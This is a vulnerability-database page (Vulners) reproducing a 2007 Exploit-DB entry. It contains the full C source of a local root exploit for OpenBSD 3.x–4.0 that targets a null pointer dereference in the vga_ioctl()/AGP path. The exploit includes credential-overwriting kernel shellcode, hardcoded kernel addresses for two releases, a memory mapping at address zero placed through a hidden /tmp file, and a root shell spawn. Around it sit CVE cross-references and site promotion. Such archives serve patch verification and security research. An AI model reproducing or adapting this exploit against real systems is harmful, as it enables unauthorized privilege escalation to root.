Lucene search
+L

OpenBSD 3.x < 4.0 - 'vga_ioctl()' Local Privilege Escalation

🗓️ 07 Jan 2007 00:00:00Reported by Critical SecurityType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 42 Views

Critical Security OpenBSD 3.x-4.0 vga_ioctl() root exploi

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2007-0085
5 Jan 200711:00
cve
Cvelist
CVE-2007-0085
5 Jan 200711:00
cvelist
EUVD
EUVD-2007-0089
7 Oct 202500:30
euvd
NVD
CVE-2007-0085
5 Jan 200711:28
nvd
Prion
Null pointer dereference
5 Jan 200711:28
prion
securityvulns
OpenBSD vga privilege escalation
8 Jan 200700:00
securityvulns
/*

Critical Security OpenBSD 3.x-4.0 vga_ioctl() root exploit

Bug had been discovered by allmighty Ilja van Sprundel (ilja.netric.org)
Some code had been stolen from noir's openbsd exploit sources

Fix is available:
ftp://ftp.openbsd.org/pub/OpenBSD/patches/4.0/i386/007_agp.patch

Critical Security [http://www.critical.lt], Lithuania, Vilnius, 2007

Linkejimai neegzistuojancio fronto kariams ;]
*/

#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/agpio.h>
#include <unistd.h>
#include <err.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/sysctl.h>

#define TARGET1 "\x51\x47\x48\xd0"  /* 0xd0484751 obsd 4.0 generic i386*/
#define TARGET2 "\xa9\x42\x10\xd0"  /* 0xd01042a9 obsd 3.9 generic i386*/

char shellcode[]=
"\x18\x00\x00\x00"
"\x18\x00\x00\x00"
"\x18\x00\x00\x00" /* some crap */
"\x18\x00\x00\x00"
"\x18\x00\x00\x00"

"\x18\x00\x00\x00" /* jmp 0x00000018 */

"\xe8\x0f\x00\x00\x00\x78\x56\x34\x12\xfe\xca\xad"
"\xde\xad\xde\xef\xbe\x90\x90\x90\x5f\x8b\x0f\x8b" /* p_cred & u_cred shellcode */
"\x59\x10\x31\xc0\x89\x43\x04\x8b\x13\x89\x42\x04"

"\xb8\x51\x47\x48\xd0"
"\xff\xe0";

void usage()
{
printf("Usage: crit_obsd_ex target\n\n");
printf("valid targets:\n");
printf("(1)\tobsd 4.0 generic i386\n");
printf("(2)\tobsd 3.9 generic i386\n\n");
exit(0);
}

void get_proc(pid_t pid, struct kinfo_proc *kp)
{
   u_int arr[4], len;

        arr[0] = CTL_KERN;
        arr[1] = KERN_PROC;
        arr[2] = KERN_PROC_PID;
        arr[3] = pid;
        len = sizeof(struct kinfo_proc);
        if(sysctl(arr, 4, kp, &len, NULL, 0) < 0) {
                perror("sysctl");
                printf("this is an unexpected error, rerun!\n");
                exit(-1);
        }
}

int main(int ac, char *av[])
{
        int i;
        void *p;
        int fd,failas;
        u_long  pprocadr;
        struct kinfo_proc kp;

printf("\n+--------------------------------------------+\n");
printf("|     Critical Security local obsd root      |\n");
printf("+--------------------------------------------+\n\n");

if (ac<2) usage();
if(atoi(av[1])==1)
{
for(i=0;i<4;i++)shellcode[61+i]=TARGET1[i];
}
else if(atoi(av[1])==2)
{
for(i=0;i<4;i++)shellcode[61+i]=TARGET2[i];
}
else {usage();}

        get_proc((pid_t) getpid(), &kp);
        pprocadr = (u_long) kp.kp_eproc.e_paddr;

        shellcode[24+5] = pprocadr & 0xff;
        shellcode[24+6] = (pprocadr >> 8) & 0xff;
        shellcode[24+7] = (pprocadr >> 16) & 0xff;
        shellcode[24+8] = (pprocadr >> 24) & 0xff;

        printf("[~] shellcode size: %d\n",sizeof(shellcode));

        fd=open("/tmp/. ", O_RDWR|O_CREAT, S_IRUSR|S_IWUSR);
        if(fd < 0)
                err(1, "open");

        write(fd, shellcode, sizeof(shellcode));
        if((lseek(fd, 0L, SEEK_SET)) < 0)
                err(1, "lseek");

        p=mmap(0, sizeof(shellcode), PROT_READ|PROT_EXEC, MAP_FIXED, fd, 0);
        if (p == MAP_FAILED)
        err(1, "mmap");

        printf("[~] map addr: 0x%x\n",p);
        printf("[~] exploiting...\n");
        failas = open(AGP_DEVICE, O_RDWR);
        syscall(SYS_ioctl, failas, 0x80044103, NULL);

        close(failas);
        close(fd);

        seteuid(0);
        setuid(0);
        printf("[~] uid: %d euid: %d gid: %d \n", getuid(), geteuid(),getgid());
        execl("/bin/sh", "cyber", NULL);

}

// milw0rm.com [2007-01-07]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Jan 2007 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26
EPSS0.00538
42